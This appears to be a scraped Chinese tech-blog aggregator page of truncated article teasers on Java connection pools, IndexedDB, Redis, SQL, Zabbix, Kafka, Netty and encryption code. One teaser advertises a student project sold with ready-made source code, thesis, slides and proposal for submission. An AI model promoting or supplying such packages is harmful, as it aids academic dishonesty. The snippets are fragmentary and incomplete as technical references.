HikariCP调试日志深度解析:生产环境故障排查完全指南更新时间:2025年7月4日|作者:资深架构师|适用版本:HikariCP5.x+|难度等级:中高级前言在生产环境中,数据库连接池往往是系统性能的关键瓶颈。HikariCP作为当前最流行的Java连接池,其调试日志包含了丰富的运行时信息,能够帮助我们快速定位和解决各种连接池相关问题。本文将深入解析HikariCP的日志体系,提供一套完整的故
大学社团管理系统(11831)
codercode2022
java spring boot spring echarts spring cloud sentinel java-rocketmq
有需要的同学,源代码和配套文档领取,加文章最下方的名片哦一、项目演示项目演示视频二、资料介绍完整源代码(前后端源代码+SQL脚本)配套文档(LW+PPT+开题报告)远程调试控屏包运行三、技术介绍Java语言SSM框架SpringBoot框架Vue框架JSP页面Mysql数据库IDEA/Eclipse开发四、项目截图有需要的同学,源代码和配套文档领取,加文章最下方的名片哦!
前端数据库:IndexedDB从基础到高级使用指南
文章目录前端数据库:IndexedDB从基础到高级使用指南引言一、IndexedDB概述1.1什么是IndexedDB1.2与其他存储方案的比较二、基础使用2.1打开/创建数据库2.2基本CRUD操作添加数据读取数据更新数据删除数据三、高级特性3.1复杂查询与游标3.2事务高级用法3.3性能优化技巧四、实战案例:构建离线优先的待办事项应用4.1数据库设计4.2同步策略实现五、常见问题与解决方案5.
PDF转Markdown - Python 实现方案与代码
Eiceblue
Python Python PDF pdf python 开发语言 vscode
PDF作为广泛使用的文档格式,转换为轻量级标记语言Markdown后,可无缝集成到技术文档、博客平台和版本控制系统中,提高内容的可编辑性和可访问性。本文将详细介绍如何使用国产Spire.PDFforPython库将PDF文档转换为Markdown格式。技术优势:精准保留原始文档结构(段落/列表/表格)完整提取文本和图像内容无需Adobe依赖的纯Python实现支持Linux/Windows/mac
修改gitlab默认的语言
Victor刘
gitlab
文章目录网上的方法1.采用数据库触发器的方法2.登录pg库2.1查看表2.2创建function2.3创建触发器2.4修改历史数据网上的方法网上修改/opt/gitlab/embedded/service/gitlab-rails/config/application.rb的方法,我试了,没生效,没进一步研究1.采用数据库触发器的方法2.登录pg库su-gitlab-psqlpsql-h/var/
在Windows11上安装Linux操作系统的几种技术方案
yuanpan
linux 运维 服务器
在Windows11上安装Linux主要有以下几种技术方案,每种方案适用于不同的需求场景:1.WindowsSubsystemforLinux(WSL)适用场景:开发、命令行工具、轻量级Linux环境支持发行版:Ubuntu、Debian、KaliLinux、Fedora等优点:轻量级:无需虚拟机,直接在Windows上运行Linux命令行环境。无缝集成:可访问Windows文件系统,支持VSCo
Claude Code 超详细完整指南(2025最新版)
笙囧同学
python
终端AI编程助手|高频使用点+生态工具+完整命令参考+最新MCP配置目录快速开始(5分钟上手)详细安装指南系统要求Windows安装(WSL方案)macOS安装Linux安装安装验证配置与认证首次认证环境变量配置代理配置⚡基础命令详解启动命令会话管理文件操作Think模式完全指南MCP服务器配置详解MCP基础概念添加MCP服务器10个必备MCP服务器MCP故障排除记忆系统详解高级使用技巧成本控制策
如何在 Ubuntu 24.04 或 22.04 Linux 上安装和运行 Redis 服务器
山岚的运维笔记
Linux 运维及使用 linux 服务器 ubuntu redis 数据库
Redis(RemoteDictionaryServer,远程字典服务器)是一种内存数据结构存储,通常用作NoSQL数据库、缓存和消息代理。它是开源的,因此用户可以免费安装,无需支付任何费用。Redis旨在为需要快速数据访问和低延迟的应用程序提供速度和效率。Redis支持多种数据类型,包括字符串(Strings)、列表(Lists)、集合(Sets)、哈希(Hashes)、有序集合(SortedS
数据库基础概念梳理
22:30Plane-Moon
数据库
1.数据存储类型表(Table):存储结构化数据的标准方式,数据以行和列的形式组织,具有固定的格式。非结构化数据(UnstructuredData):如音频、视频、图片、文本文档等,其格式不固定,不易直接用表存储。2.SQL的核心优势SQL尤其擅长处理和操作存储在表中的结构化数据。2.1数据类型约束(DataTypeConstraints):定义列可存储的数据种类。整数类型:TINYINT(1字节
Linux中Samba服务器安装与配置文件
長樂.-
linux 运维 服务器
Samba简述27zkqsamba是一个基于TCP/IP协议的开源软件套件,可以在Linux、Windows、macOS等操作系统上运行。它允许不同操作系统的计算机之间实现文件和打印机共享。samba提供了一个服务,使得Windows操作系统可以像访问本地文件一样访问Linux、Mac等操作系统上的共享文件。实现跨平台的文件共享,提高办公环境的效率和便利性。samba也支持Windows网络邻居协
SQL笔记纯干货
AI入门修炼
oracle 数据库 sql
软件:DataGrip2023.2.3,phpstudy_pro,MySQL8.0.12目录1.DDL语句(数据定义语句)1.1数据库操作语言1.2数据表操作语言2.DML语句(数据操作语言)2.1增删改2.2题2.3备份表3.DQL语句(数据查询语言)3.1查询操作3.2题一3.3题二4.多表详解4.1一对多4.2多对多5.多表查询6.窗口函数7.拓展:upsert8.sql注入攻击演示9.拆表
Ubuntu Docker 安装Redis
LLLL96
Ubuntu docker docker redis ubuntu
目录介绍1.数据结构丰富2.高性能3.持久化1.拉取Redis镜像2.创建挂载目录(可选)3.配置Redis持久化(可选)4.使用配置文件运行容器5.查看redis日志介绍1.数据结构丰富Redis支持多种数据结构,包括:字符串(String):可以用来存储任何类型的数据,例如文本、数字或二进制数据。哈希(Hash):存储字段和值的映射,适合用于表示对象。列表(List):有序的字符串列表,可以用
JVM StackMapTable 属性的作用及理解
lijingyao8206
jvm 字节码 Class文件 StackMapTable
在Java 6版本之后JVM引入了栈图(Stack Map Table)概念。为了提高验证过程的效率,在字节码规范中添加了Stack Map Table属性,以下简称栈图,其方法的code属性中存储了局部变量和操作数的类型验证以及字节码的偏移量。也就是一个method需要且仅对应一个Stack Map Table。在Java 7版
回调函数调用方法
百合不是茶
java
最近在看大神写的代码时,.发现其中使用了很多的回调 ,以前只是在学习的时候经常用到 ,现在写个笔记 记录一下
代码很简单:
MainDemo :调用方法 得到方法的返回结果
[时间机器]制造时间机器需要一些材料
comsci
制造
根据我的计算和推测,要完全实现制造一台时间机器,需要某些我们这个世界不存在的物质
和材料...
甚至可以这样说,这种材料和物质,我们在反应堆中也无法获得......
 
开口埋怨不如闭口做事
邓集海
邓集海 做人 做事 工作
“开口埋怨,不如闭口做事。”不是名人名言,而是一个普通父亲对儿子的训导。但是,因为这句训导,这位普通父亲却造就了一个名人儿子。这位普通父亲造就的名人儿子,叫张明正。 张明正出身贫寒,读书时成绩差,常挨老师批评。高中毕业,张明正连普通大学的分数线都没上。高考成绩出来后,平时开口怨这怨那的张明正,不从自身找原因,而是不停地埋怨自己家庭条件不好、埋怨父母没有给他创造良好的学习环境。
jQuery插件开发全解析,类级别与对象级别开发
IT独行者
jquery 开发 插件 函数
jQuery插件的开发包括两种: 一种是类级别的插件开发,即给
jQuery添加新的全局函数,相当于给
jQuery类本身添加方法。
jQuery的全局函数就是属于
jQuery命名空间的函数,另一种是对象级别的插件开发,即给
jQuery对象添加方法。下面就两种函数的开发做详细的说明。
1
、类级别的插件开发 类级别的插件开发最直接的理解就是给jQuer
Rome解析Rss
413277409
Rome解析Rss
import java.net.URL;
import java.util.List;
import org.junit.Test;
import com.sun.syndication.feed.synd.SyndCategory;
import com.sun.syndication.feed.synd.S
RSA加密解密
无量
加密 解密 rsa
RSA加密解密代码
代码有待整理
package com.tongbanjie.commons.util;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerat
linux 软件安装遇到的问题
aichenglong
linux 遇到的问题 ftp
1 ftp配置中遇到的问题
500 OOPS: cannot change directory
出现该问题的原因:是SELinux安装机制的问题.只要disable SELinux就可以了
修改方法:1 修改/etc/selinux/config 中SELINUX=disabled
2 source /etc
面试心得
alafqq
面试
最近面试了好几家公司。记录下;
支付宝,面试我的人胖胖的,看着人挺好的;博彦外包的职位,面试失败;
阿里金融,面试官人也挺和善,只不过我让他吐血了。。。
由于印象比较深,记录下;
1,自我介绍
2,说下八种基本类型;(算上string。楼主才答了3种,哈哈,string其实不是基本类型,是引用类型)
3,什么是包装类,包装类的优点;
4,平时看过什么书?NND,什么书都没看过。。照样
java的多态性探讨
百合不是茶
java
java的多态性是指main方法在调用属性的时候类可以对这一属性做出反应的情况
//package 1;
class A{
public void test(){
System.out.println("A");
}
}
class D extends A{
public void test(){
S
网络编程基础篇之JavaScript-学习笔记
bijian1013
JavaScript
1.documentWrite
<html>
<head>
<script language="JavaScript">
document.write("这是电脑网络学校");
document.close();
</script>
</h
探索JUnit4扩展:深入Rule
bijian1013
JUnit Rule 单元测试
本文将进一步探究Rule的应用,展示如何使用Rule来替代@BeforeClass,@AfterClass,@Before和@After的功能。
在上一篇中提到,可以使用Rule替代现有的大部分Runner扩展,而且也不提倡对Runner中的withBefores(),withAfte
[CSS]CSS浮动十五条规则
bit1129
css
这些浮动规则,主要是参考CSS权威指南关于浮动规则的总结,然后添加一些简单的例子以验证和理解这些规则。
1. 所有的页面元素都可以浮动 2. 一个元素浮动后,会成为块级元素,比如<span>,a, strong等都会变成块级元素 3.一个元素左浮动,会向最近的块级父元素的左上角移动,直到浮动元素的左外边界碰到块级父元素的左内边界;如果这个块级父元素已经有浮动元素停靠了
【Kafka六】Kafka Producer和Consumer多Broker、多Partition场景
bit1129
partition
0.Kafka服务器配置
3个broker
1个topic,6个partition,副本因子是2
2个consumer,每个consumer三个线程并发读取
1. Producer
package kafka.examples.multibrokers.producers;
import java.util.Properties;
import java.util.
zabbix_agentd.conf配置文件详解
ronin47
zabbix 配置文件
Aliaskey的别名,例如 Alias=ttlsa.userid:vfs.file.regexp[/etc/passwd,^ttlsa:.:([0-9]+),,,,\1], 或者ttlsa的用户ID。你可以使用key:vfs.file.regexp[/etc/passwd,^ttlsa:.: ([0-9]+),,,,\1],也可以使用ttlsa.userid。备注: 别名不能重复,但是可以有多个
java--19.用矩阵求Fibonacci数列的第N项
bylijinnan
fibonacci
参考了网上的思路,写了个Java版的:
public class Fibonacci {
final static int[] A={1,1,1,0};
public static void main(String[] args) {
int n=7;
for(int i=0;i<=n;i++){
int f=fibonac
Netty源码学习-LengthFieldBasedFrameDecoder
bylijinnan
java netty
先看看LengthFieldBasedFrameDecoder的官方API
http://docs.jboss.org/netty/3.1/api/org/jboss/netty/handler/codec/frame/LengthFieldBasedFrameDecoder.html
API举例说明了LengthFieldBasedFrameDecoder的解析机制,如下:
实
AES加密解密
chicony
加密解密
AES加解密算法,使用Base64做转码以及辅助加密:
package com.wintv.common;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import sun.misc.BASE64Decod
文件编码格式转换
ctrain
编码格式
package com.test;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
mysql 在linux客户端插入数据中文乱码
daizj
mysql 中文乱码
1、查看系统客户端,数据库,连接层的编码
查看方法: http://daizj.iteye.com/blog/2174993
进入mysql,通过如下命令查看数据库编码方式: mysql> show variables like 'character_set_%'; +--------------------------+------
好代码是廉价的代码
dcj3sjt126com
程序员 读书
长久以来我一直主张:好代码是廉价的代码。
当我跟做开发的同事说出这话时,他们的第一反应是一种惊愕,然后是将近一个星期的嘲笑,把它当作一个笑话来讲。 当他们走近看我的表情、知道我是认真的时,才收敛一点。
当最初的惊愕消退后,他们会用一些这样的话来反驳: “好代码不廉价,好代码是采用经过数十年计算机科学研究和积累得出的最佳实践设计模式和方法论建立起来的精心制作的程序代码。”
我只
Android网络请求库——android-async-http
dcj3sjt126com
android
在iOS开发中有大名鼎鼎的ASIHttpRequest库,用来处理网络请求操作,今天要介绍的是一个在Android上同样强大的网络请求库android-async-http,目前非常火的应用Instagram和Pinterest的Android版就是用的这个网络请求库。这个网络请求库是基于Apache HttpClient库之上的一个异步网络请求处理库,网络处理均基于Android的非UI线程,通
ORACLE 复习笔记之SQL语句的优化
eksliang
SQL优化 Oracle sql语句优化 SQL语句的优化
转载请出自出处:http://eksliang.iteye.com/blog/2097999
SQL语句的优化总结如下
sql语句的优化可以按照如下六个步骤进行:
合理使用索引
避免或者简化排序
消除对大表的扫描
避免复杂的通配符匹配
调整子查询的性能
EXISTS和IN运算符
下面我就按照上面这六个步骤分别进行总结:
浅析:Android 嵌套滑动机制(NestedScrolling)
gg163
android 移动开发 滑动机制 嵌套
谷歌在发布安卓 Lollipop版本之后,为了更好的用户体验,Google为Android的滑动机制提供了NestedScrolling特性
NestedScrolling的特性可以体现在哪里呢?<!--[if !supportLineBreakNewLine]--><!--[endif]-->
比如你使用了Toolbar,下面一个ScrollView,向上滚
使用hovertree菜单作为后台导航
hvt
JavaScript jquery .net hovertree asp.net
hovertree是一个jquery菜单插件,官方网址:http://keleyi.com/jq/hovertree/ ,可以登录该网址体验效果。
0.1.3版本:http://keleyi.com/jq/hovertree/demo/demo.0.1.3.htm
hovertree插件包含文件:
http://keleyi.com/jq/hovertree/css
SVG 教程 (二)矩形
天梯梦
svg
SVG <rect> SVG Shapes
SVG有一些预定义的形状元素,可被开发者使用和操作:
矩形 <rect>
圆形 <circle>
椭圆 <ellipse>
线 <line>
折线 <polyline>
多边形 <polygon>
路径 <path>
一个简单的队列
luyulong
java 数据结构 队列
public class MyQueue {
private long[] arr;
private int front;
private int end;
// 有效数据的大小
private int elements;
public MyQueue() {
arr = new long[10];
elements = 0;
front
基础数据结构和算法九:Binary Search Tree
sunwinner
Algorithm
A binary search tree (BST) is a binary tree where each node has a Comparable key (and an associated value) and satisfies the restriction that the key in any node is larger than the keys in all
项目出现的一些问题和体会
Steven-Walker
DAO Web servlet
第一篇博客不知道要写点什么,就先来点近阶段的感悟吧。
这几天学了servlet和数据库等知识,就参照老方的视频写了一个简单的增删改查的,完成了最简单的一些功能,使用了三层架构。
dao层完成的是对数据库具体的功能实现,service层调用了dao层的实现方法,具体对servlet提供支持。
&
高手问答:Java老A带你全面提升Java单兵作战能力!
ITeye管理员
java
本期特邀《Java特种兵》作者:谢宇,CSDN论坛ID: xieyuooo 针对JAVA问题给予大家解答,欢迎网友积极提问,与专家一起讨论!
作者简介:
淘宝网资深Java工程师,CSDN超人气博主,人称“胖哥”。
CSDN博客地址:
http://blog.csdn.net/xieyuooo
作者在进入大学前是一个不折不扣的计算机白痴,曾经被人笑话过不懂鼠标是什么,